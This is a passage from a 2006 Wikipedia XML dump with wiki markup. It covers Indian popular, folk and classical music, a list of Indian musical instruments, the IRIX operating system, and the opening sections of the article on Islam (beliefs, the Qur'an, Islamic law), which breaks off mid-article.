Filmi songs are extremely popular; they are sold on tape and CD, played on the radio, and featured on television programs. They combine Indian classical music, with its sophisticated, melismatic vocals and traditional instruments, with catchy tunes and stylings from Western pop music. The novel experimentation (resulting in such mixes as 'Indian hip hop') has been received well in India and continues to grow in popularity. 

&lt;table align=&quot;right&quot;&gt;
&lt;tr&gt;&lt;td&gt;[[Image:India052.jpg]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=&quot;center&quot;&gt;&lt;small&gt;''1907 EMI International poster featuring&lt;br&gt; goddess of [[music]] [[Saraswati]] and a [[gramophone]]''&lt;/small&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

===Western fusions===
In the late [[1960s]] and early [[1970s]], [[rock and roll]] fusions with Indian music were well-known throughout [[Europe]] and [[North America]].  [[Ali Akbar Khan]]'s [[1955]] performance in the [[United States]] was perhaps the beginning of this trend, which was soon centred around [[Ravi Shankar (musician)|Ravi Shankar]].

In [[1962]], Shankar and [[Bud Shank]], a [[jazz]] musician, released ''Improvisations and Theme From Pather Pachali'' and began fusing jazz with Indian traditions.  Other [[jazz]] pioneers such as [[John Coltrane]]—who recorded a composition entitled 'India' during the November [[1961]] sessions for his album [[Village Vanguard|''Live At The Village Vanguard'']] (the track was not released until [[1963]] on [[John Coltrane|Coltrane]]'s album ''[[Impressions (album)|Impressions]]'')—also embraced this fusion.  [[George Harrison]] (of [[the Beatles]]) played the [[sitar]], which he had learned from Shankar, on the song &quot;Norwegian Wood&quot; in [[1965]].  [[Jazz]] innovator [[Miles Davis]] recorded and performed with musicians like Khalil Balakrishna, Bihari Sharma, and Badal Roy in his post-[[1968]] electric ensembles.  Other Western artists like the [[Grateful Dead]], [[Incredible String Band]], [[the Rolling Stones]], [[the Move]] and [[Traffic (band)|Traffic]] soon incorporated Indian influences and instruments, and added Indian performers.

Guitarist (and former [[Miles Davis]] associate) [[John McLaughlin (musician)|John McLaughlin]] flirted with Indian music elements in his electric [[Jazz fusion|jazz-rock fusion]] group [[Mahavishnu Orchestra|The Mahavishnu Orchestra]], and pursued this with greater authenticity in the mid-[[1970s]] when he collaborated with [[L. Shankar]], [[Zakir Hussain (musician)|Zakir Hussain]] and others in the acoustic ensemble [[Shakti (band)|Shakti]].

Though the Indian music craze soon died down among mainstream audiences, diehard fans and immigrants continued the fusion.  In the late [[1980s]], Indian-British artists fused Indian and Western traditions to make the [[Asian Underground]].

In the new millennium, American [[hip hop music|hip-hop]] has featured Indian Filmi and Bhangra.  Mainstream hip-hop artists have sampled songs from Bollywood movies and have collaborated with Indian artists.  Examples include [[Timbaland]]'s &quot;Indian Flute&quot;, [[Erick Sermon]] and [[Redman]]'s &quot;React&quot;, Slum Village's &quot;Disco&quot;, and [[Truth Hurts]]' hit song &quot;Addictive&quot;, which sampled a [[Lata Mangeshkar]] song.  [[United Kingdom|British]]-born Indian artist [[Panjabi MC]] also had a Bhangra hit in the U.S. with &quot;Mundian To Bach Ke&quot; which featured rapper [[Jay-Z]].

==Folk music==
''Main article: [[Indian folk music]]''

The arrival of [[film|movie]]s and [[pop music]] weakened folk music's popularity, but cheaply recordable music has made it easier to find and helped revive the traditions.  Folk music (''desi'') has been influential on classical music, which is viewed as a higher art form.  Instruments and styles have impacted classical ragas. It is also not uncommon for major writers, saints and poets to have large musical libraries and traditions to their name, often sung in ''thumri'' (semi-classical) style.

===Brass bands===
[[Brass band]]s, descended from [[England|English]] traditions, are now very popular especially at weddings and other special occasions.

===Bhangra===
''Main article: [[Bhangra]]''

[[Bhangra]] is a form of [[dance]]-oriented [[folk music]] that has become a [[pop music|pop]] sensation in the [[United Kingdom]]. The present musical style is derived from the traditional musical accompaniment to the folk dance of [[Punjab, India|Punjab]] called by the same name, ''bhangra''.

===Lavani===
''Main article: [[Lavani]]''

[[Lavani]] is a popular folk form of [[Maharashtra]]. Traditionally, the songs are sung by female artistes, but male artistes may occasionally sing [[Lavani]]s. The dance format associated with [[Lavani]] is known as Tamasha.

===Dandiya===
''Main article: [[Dandiya]]''

[[Dandiya]] is a form of dance-oriented folk music that has also been adapted for pop music worldwide. The present musical style is derived from the traditional musical accompaniment to the folk dance of [[Dandiya]] called by the same name, dandiya.

===Rajasthan===
[[Rajasthan]]i has a diverse collection of musician [[caste]]s, including langas, sapera, bhopa, jogi and manganiyar.

===Bauls===
The [[Baul]]s of [[Bengal]] were a mystical order of musicians in 18th, 19th and early 20th century India who played a form of music using a khamak, [[ektara]] and dotara. The word Baul comes from [[Sanskrit language|Sanskrit]] ''batul'' meaning ''divinely inspired insanity''. They are a group of [[Hindu]] mystic minstrels. They are thought to have been influenced greatly by the Hindu tantric sect of the Kartabhajas as well as by [[Sufi]] sects.  Bauls travel in search of the internal ideal, ''Maner Manush'' (''Man of the Heart'').

==Classical music==
''Main article: [[Indian classical music]]''

The two main traditions of classical music have been [[Carnatic music]], found predominantly in the peninsular regions and [[Hindustani music]], found in the northern and central parts. While both traditions claim [[Vedic civilization|Vedic]] origin, history indicates that until c. 13th century, there was only one Indian music tradition. From then on, most of north India was under Islamic rule, and Hindustani music is the result of a fusion of [[Mughal]], [[Arab]]ic and [[Iran|Persia]]n traditions with traditional Indian music. Carnatic music, on the other hand, traces much of its contemporary concert repertoire to a series of composers and musicologists in the 15th and 16th centuries including Govindacharya, Venkatamakhin, [[Purandaradasa]], [[Tyagaraja]] and [[Muttusvami Dikshitar]]. For more, see [[Indian classical music]], [[Hindustani music]] and [[Carnatic music]].

===Rabindra Sangeet===
A towering figure of Indian music was [[Rabindranath Tagore]]. Writing in [[Bengali]], he created a library of over 2000 songs now known by Bengalis as ''rabindra sangeet'' whose form is primarily influenced by Hindustani classical ''thumri'' style. Many singers in [[West Bengal]] proudly base their entire careers on the singing of Tagore musical masterpieces.

==Qawwali==
''Main article: [[Qawwali]]''

[[Qawwali]] is a [[Sufi]] form of devotional music based on the principles of [[Hindustani classical music|Hindustani classical]]. It is performed with one or two lead singers, several chorus singers, [[harmonium]], [[tabla]], and [[dholak]].

==Further reading==
*Maycock, Robert and Hunt, Ken. &quot;How to Listen - a Routemap of India&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 63-69. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0
*Hunt, Ken. &quot;The Sacred and the Profane&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 86-93. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0
*Hunt, Ken. &quot;Soundtrack to a Billion Lives&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 102-108. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0
*Hunt, Ken. &quot;Meetings by the River&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 109-116. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0
*Hunt, Ken and Broughton, Simon. &quot;Everything Is Left Behind&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 94-101. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0
*Hunt, Ken. &quot;Sounds of the Saints&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 79-85. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0
*Hunt, Ken. &quot;Ragas and Riches&quot;. 2000.  In Broughton, Simon and Ellingham, Mark  with McConnachie, James and Duane, Orla (Ed.), ''World Music, Vol. 2: Latin &amp; North America, Caribbean, India, Asia and Pacific'', pp 70-78. Rough Guides Ltd, Penguin Books. ISBN 1-85828-636-0

==See also==
* [[Indian musicologists]]
* [[Indian musical instruments]]
* [[Natya Shastra]]
* [[Naradiya Shiksha]]
* [[Dattilam]]
* [[Brihaddeshi]]
* [[Abhinava Bharati]]
* [[Sangita-Ratnakara]]
* [[List of regional genres of music]]

==External links==
*[http://batish.com/archives/arcgloss.html A Glossary of Indian Music Terms]
*[http://www.4indianmusic.com Download Indian Music]
*[http://www.artistspages.org Fraternity for Indian musicians]
*[http://www.anuragjain.com/indianmusic.html A List of Indian Fusion &amp; Rock Bands, and Indian World Music Artistes]
*[http://www.aakash.co.in/indian-music/directory.htm List of few resources available on the net about Carnatic music with small description.]
{{SouthAsianmusic}}

[[Category:Indian music]]

[[ca:Música índia]]
[[es:Música India]]
[[eo:Hindia muziko]]
[[fi:Intialainen musiikki]]
[[fr:Musique indienne]] 
[[nl:Indiase muziek]] 
[[pt:Música indiana]]
[[sv:Indisk musik]]</text>
    </revision>
  </page>
  <page>
    <title>Indian musical instruments</title>
    <id>14536</id>
    <revision>
      <id>41500390</id>
      <timestamp>2006-02-27T20:07:11Z</timestamp>
      <contributor>
        <username>Sprichard</username>
        <id>1001427</id>
      </contributor>
      <comment>/* Cool Guy */</comment>
      <text xml:space="preserve">[[Image:india_snake_charmer.jpg|thumb|right|175px|A [[snake charmer]] with [[pungi]] during his performance in [[Jaipur]], India]]

'''Indian musical instruments''' can be broadly classified into three categories, namely classical, western and folk. See [[Carnatic music]] and [[Hindustani music]].

==Classification==
The instruments are further sub-classified into the type based on the science behind the same.

===Wind Instruments===
* [[Bansuri]]
* [[Nadaswaram]]
* [[Pungi]] or [[Pungi|Been]]
* [[Shehnai]]

===Percussion===
* [[Chenda]]
* [[Dhol]]
* [[Dholak]]
* [[Ghatam]]
* [[Idakka]]
* [[Mridangam]]
* [[Pakhavaj]]
* [[Tabla]]
* [[Thavil]]

===String instruments===
* [[Ektara]]
* [[Esraj]]
* [[Tanpura]]
* [[Sarangi]]
* [[Santoor]]
* [[Sarod]]
* [[Sitar]]
* [[Veena]]
* [[Rudra Veena]]
* [[Gottuvadhyam|Gottuvadhyam (also known as the Chitravina)]]

===Others===
* The [[Violin]] is a popular western instrument used widely in [[Indian classical music]], specifically [[Carnatic music]].  
*The [[Harmonium]] is originally a western instrument, but is now more popular in India than in other countries.

There are numerous native musical instruments used in folk music.

See also [[Music of India]].

==External links==
* [http://www.aakash.co.in/indian-music/instrument.htm categorization of Indian Musical instruments]
* [http://www.pakrashi-harmonium.com/ Indian musical instruments]
* [http://www.indianmusicals.com/ Indian musical instruments web site]
[[sv:Indiska musikinstrument]]
* [http://www.buydhol.com/ North Indian musical instruments]
* [http://makar-records.com/ all Indian classical music instruments with mp3 music samples]
* [http://www.akp.co.in/ Thavil Maestro - Haridwaramangalam Sri. A.K. Palanivel]</text>
    </revision>
  </page>
  <page>
    <title>IRIX</title>
    <id>14537</id>
    <revision>
      <id>41672134</id>
      <timestamp>2006-02-28T23:47:48Z</timestamp>
      <contributor>
        <username>Nickhumphrey</username>
        <id>608442</id>
      </contributor>
      <text xml:space="preserve">{{Infobox_OS |
  name = IRIX |
  screenshot = [[Image:IRIX 6.5.6 Desktop.jpg|200px]] |
  caption = An IRIX v6.5.6 desktop |
  developer = [[Silicon Graphics]] |
  family = [[Unix]] |
  version_number = Varies |
  source_model = [[Closed source]] |
  working_state = Current |
  latest_release_version =  6.5.29 |
  latest_release_date = [[February 14]], [[2006]] |
  kernel_type = [[Kernel (computer science)#Monolithic kernels|Monolithic]] |
  ui = [[IRIX Interactive Desktop]] |
  license = closed source |
  working_state = Current |
  website = [http://www.sgi.com/products/software/irix/ SGI IRIX] |
}}

'''IRIX''' is the [[UNIX System V|System V]]-based [[Unix]] [[Operating System]] with [[Berkeley Software Distribution|BSD]] extensions developed by [[Silicon Graphics]] (SGI) to run natively on their 32 and 64-bit [[MIPS architecture]] workstations and servers.

As a result of its Unix underpinnings, it is capable of extremely long [[uptime]], and its [[XFS]] filesystem is regarded to be one of the most advanced [[journaling file system]]s in the industry.

IRIX has particularly strong support for [[3D graphics]], video and high-bandwidth bulk data transfer. IRIX was one of the first Unix flavors to feature a [[GUI]] for the main desktop environment, and is widely used in the [[computer animation]] industry and for [[scientific visualization]] due to its extremely high 3D graphics performance. IRIX uses the [[IRIX Interactive Desktop]] with its default [[4dwm]] [[X window manager|window manager]] and [[Motif (widget toolkit)|Motif]] [[widget toolkit]] with a custom look and feel.

The current major version of IRIX is IRIX 6.5. New minor versions are released every quarter. Up to and including Version 6.5.22, there were two branches of each release: a maintenance release that includes only fixes to the original IRIX 6.5 code, and a feature release that includes improvements and enhancements. Versions up until the 6.5.22 maintenance release are available for free download; 6.5.23 and higher require an active Silicon Graphics support contract, despite only running on Silicon Graphics hardware.

SGI has [[end-of-life|retired]] IRIX and the [[MIPS architecture]] in favor of [[Linux]] on [[Itanium]], it is however expected that IRIX support will continue for a while longer.

==External links==
*[http://www.sgi.com/products/software/irix/ Overview of information related to the IRIX operating system]
*[http://techpubs.sgi.com/library/tpl/cgi-bin/init.cgi Technical Publications Library]
*[http://www.sgi.com/products/software/irix/datasheet.pdf IRIX Datasheet]
*[http://software.majix.org/irix/index.shtml IRIX Administration Guide]
*[http://www.nekochan.net/ Nekochan Net]
*[http://www.siliconbunny.com/ Silicon Bunny - IRIX software and information]
*[http://www.tliquest.net/ryan/sgi/irix_versions.html IRIX Versions and History]

[[Category:SGI]]
[[Category:Unix]]

{{unix-like}}

[[de:IRIX]]
[[es:IRIX]]
[[fr:Irix]]
[[it:IRIX]]
[[nl:IRIX]]
[[pl:IRIX]]
[[ro:IRIX]]
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[[tr:IRIX]]</text>
    </revision>
  </page>
  <page>
    <title>Islam</title>
    <id>14538</id>
    <restrictions>move=sysop</restrictions>
    <revision>
      <id>42133011</id>
      <timestamp>2006-03-04T01:08:09Z</timestamp>
      <contributor>
        <username>Blubberbrein2</username>
        <id>1013417</id>
      </contributor>
      <minor />
      <comment>/* Beliefs */</comment>
      <text xml:space="preserve">{{dablink|For other uses, including people named &quot;Islam&quot;, see [[Islam (disambiguation)]]}}
{{Islam}}
{{portal}}
'''Islam''' ([[Arabic language|Arabic]]: {{Ar|الإسلام}}; ''{{ArabDIN|al-islām}}'' ({{Audio|ar-al_islam.ogg|listen}}), &quot;submission (to the will  of [[God]])&quot;) is a [[Monotheism|monotheistic]] faith, one of the [[Abrahamic religion]]s, and the world's second-largest [[religion]]. Followers of Islam are known as '''[[Muslims]]'''. Muslims believe that [[God]] revealed his divine word directly to mankind through many [[prophet]]s and that [[Muhammad]] was the final [[prophet of Islam]].

==Etymology==
In Arabic, Islām derives from the three-letter root {{ArabDIN|[[Sīn]]-[[Lām]]-[[Mīm]]}} ({{ar|'''س'''-'''ل'''-'''م'''}}), which means &quot;submission; to surrender; to obey; peace&quot;. Islām is a verbal abstract to this root, and literally means &quot;submission/obedience,&quot; referring to submission to [[Allah]]. Compare that root with the [[cognate]] word in Hebrew, ''[[shalom]]'', which derives from the root shin-lamedh-mem ({{Ivrit|'''ש'''-'''ל'''-'''ם'''}}), which has cognates in many [[Semitic languages]], and means completeness, fulfillment, wellbeing, a concept usually encapsulated by translation in the word peace.

Other Arabic words derived from {{ar|'''س'''-'''ل'''-'''م'''}}:

* [[Salām]], meaning &quot;peace&quot;, which is also part of a common salutation, [[Salam aleikum|As-Salāmu alaykum]] (Peace be upon you).
* As-Salām (The Peace) is one of the [[99 names of God]] found in the [[Qur'an]].
* [[Muslim]], a follower of Islam, an agentive noun meaning &quot;one who surrenders&quot; or &quot;submits&quot; to God.
* Salāmah, meaning &quot;safety,&quot; which is used in saying &quot;goodbye&quot; with &quot;ma' as-salāmah&quot; ([go] with safety).

==Beliefs==
The basis of Islamic belief is  found in the [[shahada|''shah&amp;#257;dat&amp;#257;n'']] (&quot;two testimonies&quot;, Arabic:'''  لا إله إلا الله محمد رسول الله '''): ''l&amp;#257; il&amp;#257;h&amp;#257; ill&amp;#257;-ll&amp;#257;hu; muhammadur-ras&amp;#363;lu-ll&amp;#257;h''&amp;mdash;&quot;There is no god but The God and Muhammad is the messenger of God.&quot; In order to become a Muslim, one needs to recite and believe in these statements under witness. One who wishes to convert must be truly willing and must have given thought to the meaning of the shahāda before reciting the words and becoming a Muslim.

Muslims believe that [[God]] (or, in [[Arabic language|Arabic]], [[Allah|''All&amp;#257;h'']]; also in [[Aramaic language|Aramaic]] ''Alaha'') revealed his direct word for mankind to [[Muhammad]] (c. [[570]]&amp;ndash;[[632]]) and other [[Prophets of Islam|prophets]], including [[Adam]], [[Noah]], [[Abraham]], [[Moses]], and [[Jesus]]. Muslims believe that Muhammad is the Last or the ''seal'' of the prophets. Thus, his preachings for humankind will last until [[Qiyamah]] (The Day of the Resurrection). Muslims assert that the main written record of revelation to humankind is the [[Qur'an]] (see [[Islam#The Qur'an|below]]), which they believe to be flawless, immutable, and the final revelation of God to humanity. Muslims believe that parts of the Gospels, [[Torah]] and Jewish prophetic books have been forgotten, misinterpreted, incorrectly edited by humans, or distorted by their followers and thus their original message has been corrupted over time ''([[tahrif]])''. With that perspective, Muslims view the Qur'an as a correction of Jewish and Christian scriptures, and a final revelation.

Muslims hold that Islam is essentially the same belief as that of all the messengers sent by God to mankind since Adam, with the Qur'an (the text used by all sects of the Muslim faith) codifying the final revelation of God. Islamic texts depict [[Judaism]] and [[Christianity]] as derivations of the teachings of the prophet Abraham and thus acknowledge common [[Abrahamic religion|Abrahamic]] roots. The Qur'an calls Jews and Christians (and sometimes people of [[People of the Book#Application of term|other faiths]]) &quot;[[People of the Book]].&quot;   Historically, the second Caliph Umar ibn Khattab created what came to be known as &quot;the Pact of Umar&quot; in establishing that any people of the book who submitted to Muslim authority as [[dhimmi]]s during the wars of Muslim expansion retained their freedom of religion and their existing churches.   

Islām is described as a [[Din (Islamic term)|dīn]], meaning &quot;way of life&quot; and/or &quot;guidance&quot;.
[[Image:Good kaabah pic.JPG|300px|thumb|''[[Kaaba]]'' , the holiest site in Islam]]

===Seven articles of belief===
There are seven basic beliefs shared by all Muslims:

#Belief in God (Allah), the one and only one worthy of all worship (''[[tawhid]]'').
#Belief in the Angels (''[[Angels#Islamic views|mala'ika]]'').
#Belief in the books (''[[kutub]]'') sent by God:
#: The [[Suhuf-i-Ibrahim]] (Scrolls of Abraham).
#: The [[Tawrat]] sent to [[Musa]] (Moses).
#: The [[Zabur]] sent to [[Daud]] (David).
#: The [[Injil]] sent to [[Isa]] (Jesus).
#: The [[Qur'an]] sent to Muhammad. 
#Belief in all the prophets ([[Prophet#The Islamic concept of prophet|''nabi'']]) and messengers (''[[rasul]]'') sent by God (see [[Prophets of Islam]]).
#Belief in the Day of Judgement (''[[qiyama]]''). 
#Belief in Fate (''[[qadar]]'').
#Belief in life after death  - heaven (''[[jannah]]'') and hell (''[[jahannam]]'').

The Muslim creed in [[English language|English]]:
:: &quot;I testify that there is no god but Allah Almighty, Who is One (and only One) and there is no associate with Him; and I testify that Muhammad (peace and blessings of Allah be upon him), is His Messenger.&quot; 
:: &quot;I believe in Allah; and in His Angels; and in His Scriptures; and in His Messengers; and in The Final Day; and in Fate, that All things are from Allah, and Resurrection after death be Truth.&quot;

===The tenets of Islam===
''Main articles: [[Five Pillars of Islam]], [[Branches of Religion]], [[Roots of Religion]]''

[[Image:Supplicating Pilgrim at Masjid Al Haram. Mecca, Saudi Arabia.jpg|300 px|thumb|right|The Pilgrimage ([[Hajj]]) to [[Kaaba]], [[Masjid al Haram]], Mecca, is one of the five pillars of Islam or one of the roots of religion (for the Shi'a).]]
The two largest subgroups of the Muslims are the [[Sunni Islam|Sunni]] and the [[Shi'a Islam|Shi'a]]. Sunni Muslims make up a large percentage of the Muslim world, although one can find large majorities of Shi'a Muslims in Middle Eastern countries such as Iran and Iraq. However, in countries such as Saudi Arabia, Indonesia, and Pakistan, Sunni Muslims are the majority.

Sunni Islam's fundamental tenets are referred to as the [[Five Pillars of Islam]]&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;, while Shia Islam  has a slightly different terminology, encompassing five core beliefs, the [[Roots of Religion]] and ten core practices, the [[Branches of Religion]]. All Muslims agree on the following five basic obligations of believers, which Sunnis term the Five Pillars of Islam, and which Shia would consider to be elements of the Roots of Religion and the Branches of Religion. 

*[[Shahada|Shahādah]]: Testifying that there is none worthy of worship  except God ([[Tawheed]]) and that [[Muhammad]] is his servant and messenger ([[Nubuwwah]]).
*[[Salah]]: Performing the five daily prayers.
*[[Sawm]]: Fasting from dawn to dusk in the month of [[Ramadan]].
*[[Zakat|Zakāt]]: Giving ''Zakaah'' (charity).
*[[Hajj]]: The Pilgrimage to [[Mecca]] during the month of ''Dhul Hijjah'', which is compulsory once in a lifetime for one who has the ability to do it.

Shi'a and Sunni also agree on the following beliefs, although they classify them differently:
*[[Adl]]: The justice of God.
*[[Qiyamah]]: The Day of Resurrection.
*[[Amr-Bil-Ma'rūf]]: Commanding what is good.
*[[Nahi-Anil-Munkar]]: Forbidding what is evil.
*[[Jihad|Al Jihad fi sabilillah]]: Striving to seek God's approval.

Distinctive Shi'a beliefs, not held by the Sunni, include:
*[[Imamah]]: Leadership. The belief in the divinely appointed and guided [[imam]]ate of [[Ali]] and some of his descendants.
*[[Tawalla]]: To love the [[Ahl al-Bayt]] and their followers.
*[[Tabarra]]: To disassociate from the enemies of the Ahl al-Bayt.
*[[Khums]]: Paying the tax on profit.

Many Muslims, however, do not fall into any of the denominations listed above. These Muslims believe that the following extract from the Qu'ran bans the formation of sects within Islam, and therefore classify themselves as simply 'Muslims'.

&quot;[6:159] Those who divide themselves into sects do not belong with you. Their judgment rests with GOD, then He will inform
them of everything they had done.&quot;

===God===
:''Main articles: [[Allah]] / [[God]]

The fundamental concept in Islam is the oneness of [[God]] (''[[tawhid]]''). This monotheism is absolute, not relative or  pluralistic in any sense of the word. God is described in [[Sura]] [[al-Ikhlas]], (chapter 112) as follows:

:''Say &quot;He is God, the one and only. Allah, the Eternal, Absolute the Self-Sufficient master. He begetteth not, nor is he  begotten. And there is none like unto Him.&quot;

In Arabic, God is called ''Allāh''. The word is etymologically connected to ''ʾilāh'' &quot;[[deity]]&quot;,  ''Allāh'' is also the word  used by Christian and Jewish Arabs, translating ''ho theos'' of the [[New Testament]] and [[Septuagint]]; it predates Muhammad and in its origin does not specify a &quot;God&quot; different from the one worshipped by Judaism and Christianity, the other [[Abrahamic]] religions.

The name &quot;Allah&quot; shows no plural or gender, unlike the word &quot;God&quot; that may take plural sense &quot;Gods&quot; and feminine form &quot;Goddesses&quot;. In Islam &quot;Allah&quot; Almighty as the Qur’an says:

:''&quot;(He is) the Creator of the heavens and the earth: He has made for you pairs from among yourselves, and pairs among cattle: by this means does He multiply you: there is nothing whatever like unto Him, and He is the One that hears and sees (all things)&quot; (42:11).

The implicit usage of the [[definite article]] in ''Allah'' linguistically indicates the divine unity. Muslims believe that the God they worship is the same as the Judeo-Christian God, i.e. the God of Abraham. However, Muslims reject the Christian theology concerning the trinity of God (the doctrine of the [[Trinity]] which regards Jesus as the eternal [[Son of God]]), seeing it as akin to [[polytheism]]. Quoting from the Qur'an,
[[sura]] [[An-Nisa]](4) :171:

:''&quot;O People of the Scripture! Do not transgress the limits of your religion, and do not say about God except the truth. The Messiah, Jesus the son of Mary, was only a messenger of God, and His word that He had sent to Mary, and a revelation from Him. Therefore, you shall believe in GOD and His messengers. You shall not say, &quot;Trinity&quot;. You shall refrain from this for your own good. God is only one God. Be He glorified; He is much too glorious to have a son. To Him belongs everything in the heavens and everything on earth. God suffices as Lord and Master.&quot;''

No Muslim visual images or depictions of God are meant to exist because such artistic depictions may lead to [[idolatry]] and are thus disdained. Such [[aniconism]] can also be found in Judeo-Christian theology. Moreover, most Muslims believe that God is [[Spiritual being|incorporeal]], making any two- or three- dimensional depictions impossible. Instead, Muslims describe God by the many [[99 Names of God|divine attributes]] mentioned in the [[Qur'an]]. All but one Sura (chapter) of the Qur'an begins with the phrase &quot;In the name of Allah, the Beneficent, the Merciful&quot;. These are regarded as the most important divine attributes, at least in the sense that Muslims repeat them most frequently during their prayers ([[salat]]) and throughout their daily lives.

===The Qur'an===
[[Image:FirstSurahKoran.jpg|thumb|300px| The [[Al-Fatiha|first]] [[surah]] in a handwritten copy of the Qur'an.]]
{{main|Qur'an}}

The Qur'an is the sacred book of Islam. It has also been called, in English, &quot;the Koran&quot; and (archaically) &quot;the Alcoran&quot;. Qur'an is the currently preferred English transliteration of the Arabic original (&amp;#1602;&amp;#1585;&amp;#1570;&amp;#1606;); it means &amp;#8220;recitation&amp;#8221;. Although the Qur'an is referred to as a &quot;book&quot;, when a Muslim refers to the Qur'an, they are referring to the actual text, the words, rather than the printed work itself.

Muslims believe that the Qur'an was revealed to the prophet [[Muhammad]] by God through the [[Gabriel (archangel)|Angel Gabriel]] on numerous occasions between the years [[610]] and up till his death in [[632]]. In addition to memorizing his revelations, his followers are said to have written them down on parchments, stones, and leaves.

Muslims hold that the Qur'an available today is the same as that revealed to the Prophet [[Muhammad]] and by him to his followers, who memorized and wrote down his words. Scholars generally accept that the version of the Qur'an used today was first compiled in writing by the third [[Caliph]], [[Uthman ibn Affan]], sometime between [[650]] and [[656]]. He sent copies of his version to the various provinces of the new Muslim empire, and directed that all variant copies be destroyed. However, some skeptics doubt the recorded oral traditions ([[hadith]]) on which this account is based, and will concede only that the Qur'an must have been compiled before [[750]].

There are numerous traditions, and many conflicting academic theories, as to the provenance of the Qur'anic verses that were eventually assembled into a single volume. (This is covered in greater detail in [[Qur'an]]). Most Muslims accept the account recorded in several hadith, which state that [[Abu Bakr]], The First Caliph, ordered his personal secretary [[Zayd ibn Thabit]] to collect and record all the authentic verses of the Qur'an, as preserved in written form or oral tradition. Zayd's written collection, privately treasured by Prophet Muhammad's wife [[Hafsa bint Umar]], was, according to Muslim sources, later used by Uthman and is thus the basis of today's Qur'an.

Uthman's version, organized the suras roughly in order of length (excepting the brief opening surah [[Al-Fatiha]]), with the longest suras at the start of the Qur'an and the shortest ones at the end. More conservative views state that the order of most suras was divinely set. Later scholars have struggled to put the suras in chronological order, and among Muslim commentators, at least, there is a rough consensus as to which suras were revealed in [[Makkan sura|Mecca]] and which at [[Medinan sura|Medina]], with distinctive characteristics observed within these two subgroups. Some suras (e.g. surat [[Iqra]]) are thought to have been revealed in parts at separate times.

To understand the notion of &quot;variants&quot; within the received Qur'anic text, one must understand that Arabic had not yet fully developed as a written language. The Qur'an was first recorded in written form (date uncertain) in the [[Hijazi]], [[Mashq]], [[Ma'il]], and [[Kufic]] scripts; these scripts write consonants only and do not supply vowels. (Imagine an English text that wrote the word 'bed' as &quot;BD,&quot; and required the reader to infer, from context, that the reference was to &quot;bed&quot; - and not to 'bad&quot; or &quot;bide.&quot;) Because there were differing oral traditions of recitation as non-native Arabic speakers converted to Islam, there was some disagreement as to the exact reading of many (vowel-free) verses. Eventually, scripts were  developed that used diacritical markings (known as ''points'') to indicate the vowels. For hundreds of years after Uthman's recension, Muslim scholars argued as to the correct pointing and reading of Uthman's (unpointed) official text.{{citation needed}} Eventually, most commentators accepted seven variant readings ([[qira'at]]) of the Qur'an as canonical, while agreeing that the differences among the seven are minor and do not affect the meaning of the text.

The Qur'an early became a focus of Muslim devotion and eventually a subject of theological controversy among skeptics. In the [[8th century]], the [[Mu'tazili]]s claimed that the Qur'an was created in time and was not eternal. Their opponents, of various schools, claimed that the Qur'an was eternal and perfect, existing in heaven before it was revealed to Muhammad. The [[Ashari]] theology (which ultimately became predominant) held that the Qur'an was uncreated.

Most Muslims regard paper copies of the Qur'an with extreme veneration, wrapping them in a clean cloth, keeping them on a high shelf, and washing as for prayers before reading the Qur'an. Old Qur'ans are not destroyed as wastepaper, but burned.

Most Muslims memorize for personal contact at least some portion of the Qur'an in the  original language. Those who have memorized the entire Qur'an are known as [[hafiz]]. This is not a rare achievement; it is believed that there are millions of [[huffaz]] (plural) alive today.

From the beginning of the faith, most Muslims believed that the Qur'an was perfect only as revealed in Arabic. Translations were the result of human effort and human fallibility, as well as lacking the inspired poetry believers find in the Qur'an. Translations are therefore only commentaries on the Qur'an, or &quot;translations of its meaning&quot;, not the Qur'an itself. Many modern, printed versions of the Qur'an feature the Arabic text on one page, and a vernacular translation on the facing page.

==Organization==
===Religious authority===
There is no official authority who decides whether a person is accepted into, or dismissed from, the community of believers, known as the ''[[Ummah]]'' (&quot;family&quot; or &quot;nation&quot;). Islam is open to all, regardless of race, age, gender, or previous beliefs. It is enough to believe in the central beliefs of Islam. This is formally done by reciting the ''[[shahada]]'', which should be made sincerely from the heart, the statement of belief of Islam, without which a person cannot be classed a Muslim. It is enough to believe and say that one is a Muslim, and behave in a manner befitting a Muslim to be accepted into the community of Islam.

===Islamic Law===
{{main|Sharia}}
The Sharia is Islamic law, as elaborated by Islamic scholarship. The [[Qur'an]] is the foremost source of [[fiqh|Islamic jurisprudence]]. The second is the [[sunnah]] of Muhammad and the early Muslim community. The sunnah is not itself a text like the Qur'an, but is extracted by analysis of the [[hadith]] (Arabic for &quot;report&quot;), or recorded oral traditions, which contain narrations of the Muhammad's sayings, deeds, and actions. [[Ijma]] (consensus of the community of Muslims) and [[qiyas]] (analogical reasoning) are the third and fourth sources of Sharia.

